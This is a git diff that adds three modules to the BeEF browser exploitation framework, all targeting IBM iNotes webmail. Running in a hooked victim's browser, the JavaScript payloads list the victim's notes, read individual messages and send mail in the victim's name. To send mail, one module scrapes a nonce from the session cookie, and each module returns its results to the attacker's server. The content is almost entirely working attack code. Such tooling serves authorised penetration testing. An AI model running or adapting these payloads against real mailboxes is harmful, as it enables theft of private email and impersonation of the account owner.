diff --git a/modules/misc/ibm_inotes/extract_inotes_list/command.js b/modules/misc/ibm_inotes/extract_inotes_list/command.js new file mode 100644 index 000000000..98035343a --- /dev/null +++ b/modules/misc/ibm_inotes/extract_inotes_list/command.js @@ -0,0 +1,41 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var startdate = '<%= @startdate %>'; + var enddate = '<%= @endddate %>'; + var count = '<%= @count %>'; + + //get URL for this nsf databse + var currentURL = document.URL; + var rx = /(.*\.nsf)/g; + var arr = rx.exec(currentURL); + var notesURL = arr[1]; + + var xhr = new XMLHttpRequest(); + xhr.open('GET', notesURL+'/%28$All%29?ReadViewEntries&KeyType=time&StartKey='+startdate+'T000000Z&UntilKey='+enddate+'T000000Z&Count='+count, true); + xhr.onreadystatechange = function () { + if (xhr.readyState == 4 && xhr.status == 200) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response); + } + } + xhr.send(null); +}); + + + + + + diff --git a/modules/misc/ibm_inotes/extract_inotes_list/config.yaml b/modules/misc/ibm_inotes/extract_inotes_list/config.yaml new file mode 100644 index 000000000..6df6b0d7b --- /dev/null +++ b/modules/misc/ibm_inotes/extract_inotes_list/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + extract_inotes_list: + enable: true + category: ["Misc","IBM iNotes"] + name: "Extract iNotes list" + description: "If you have access to the origin of a victims IBM iNotes, you can use this module to extract a list of notes." + authors: ["Bart Leppens"] + target: + working: ['ALL'] diff --git a/modules/misc/ibm_inotes/extract_inotes_list/module.rb b/modules/misc/ibm_inotes/extract_inotes_list/module.rb new file mode 100644 index 000000000..3b277f3f7 --- /dev/null +++ b/modules/misc/ibm_inotes/extract_inotes_list/module.rb @@ -0,0 +1,29 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Extract_inotes_list < BeEF::Core::Command + def self.options + return [ + {'type' => 'label', 'html' => 'Provide date boundaries to retrieve a list of Notes:' }, + {'type' => 'textfield', 'name' => 'startdate', 'ui_label' => 'startdate yyyymmdd', 'value' => '20140101'}, + {'type' => 'textfield', 'name' => 'enddate', 'ui_label' => 'enddate yyyymmdd', 'value' => '20500101'}, + {'type' => 'textfield', 'name' => 'count', 'ui_label' => 'number of items returned', 'value' => '-1'}, + ] + end + def post_execute + save({'result' => @datastore['result']}) + end + +end diff --git a/modules/misc/ibm_inotes/read_inotes/command.js b/modules/misc/ibm_inotes/read_inotes/command.js new file mode 100644 index 000000000..291ca7167 --- /dev/null +++ b/modules/misc/ibm_inotes/read_inotes/command.js @@ -0,0 +1,39 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var unid = '<%= @unid %>'; + + //get URL for this nsf databse + var currentURL = document.URL; + var rx = /(.*\.nsf)/g; + var arr = rx.exec(currentURL); + var notesURL = arr[1]; + + var xhr = new XMLHttpRequest(); + xhr.open('GET', notesURL+'/%28$All%29/'+unid+'?OpenDocument&Form=l_MailMessageHeader&PresetFields=FullMessage;1', true); + xhr.onreadystatechange = function () { + if (xhr.readyState == 4 && xhr.status == 200) { + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response); + } + } + xhr.send(null); +}); + + + + + + diff --git a/modules/misc/ibm_inotes/read_inotes/config.yaml b/modules/misc/ibm_inotes/read_inotes/config.yaml new file mode 100644 index 000000000..be8aca14a --- /dev/null +++ b/modules/misc/ibm_inotes/read_inotes/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + read_inotes: + enable: true + category: ["Misc","IBM iNotes"] + name: "Read iNotes" + description: "If you have access to the origin of a victims IBM iNotes, you can use this module to read a note." + authors: ["Bart Leppens"] + target: + working: ['ALL'] diff --git a/modules/misc/ibm_inotes/read_inotes/module.rb b/modules/misc/ibm_inotes/read_inotes/module.rb new file mode 100644 index 000000000..1bfa79b3f --- /dev/null +++ b/modules/misc/ibm_inotes/read_inotes/module.rb @@ -0,0 +1,27 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Read_inotes < BeEF::Core::Command + def self.options + return [ + {'type' => 'label', 'html' => 'Provide unid to retrieve details of a Note:' }, + {'type' => 'textfield', 'name' => 'unid', 'ui_label' => 'notes unid', 'value' => '1'} + ] + end + def post_execute + save({'result' => @datastore['result']}) + end + +end diff --git a/modules/misc/ibm_inotes/send_inotes/command.js b/modules/misc/ibm_inotes/send_inotes/command.js new file mode 100644 index 000000000..53a294043 --- /dev/null +++ b/modules/misc/ibm_inotes/send_inotes/command.js @@ -0,0 +1,49 @@ +// +// Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var to = "<%= CGI::escape(@to) %>"; + var subject = "<%= CGI::escape(@subject) %>"; + var body = "<%= CGI::escape(@body) %>"; + + //get URL for this nsf databse + var currentURL = document.URL; + var rx = /(.*\.nsf)/g; + var arr = rx.exec(currentURL); + var notesURL = arr[1]; + + //extract nonce from ShimmerS-cookie + var cookies = document.cookie; + var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g; + var arrc = rxc.exec(cookies); + var nonce = arrc[1]; + + var xhr = new XMLHttpRequest(); + var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form"; + xhr.open("POST", uri, true); + xhr.withCredentials = true; + xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); + var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject; + + xhr.send(post_data); + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.'); +}); + + + + + + diff --git a/modules/misc/ibm_inotes/send_inotes/config.yaml b/modules/misc/ibm_inotes/send_inotes/config.yaml new file mode 100644 index 000000000..a38426e96 --- /dev/null +++ b/modules/misc/ibm_inotes/send_inotes/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + send_inotes: + enable: true + category: ["Misc","IBM iNotes"] + name: "Send iNotes" + description: "If you have access to the origin of a victims IBM iNotes, you can use this module to send a note to someone." + authors: ["Bart Leppens"] + target: + working: ['ALL'] diff --git a/modules/misc/ibm_inotes/send_inotes/module.rb b/modules/misc/ibm_inotes/send_inotes/module.rb new file mode 100644 index 000000000..c66a6a444 --- /dev/null +++ b/modules/misc/ibm_inotes/send_inotes/module.rb @@ -0,0 +1,29 @@ +# +# Copyright (c) 2006-2014 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Send_inotes < BeEF::Core::Command + def self.options + return [ + {'type' => 'label', 'html' => 'Send a note to someone:' }, + {'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO:', 'value' => ''}, + {'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject:', 'value' => ''}, + {'name'=>'body', 'ui_label' => 'Body', 'type'=>'textarea', 'value'=>''} + ] + end + def post_execute + save({'result' => @datastore['result']}) + end + +end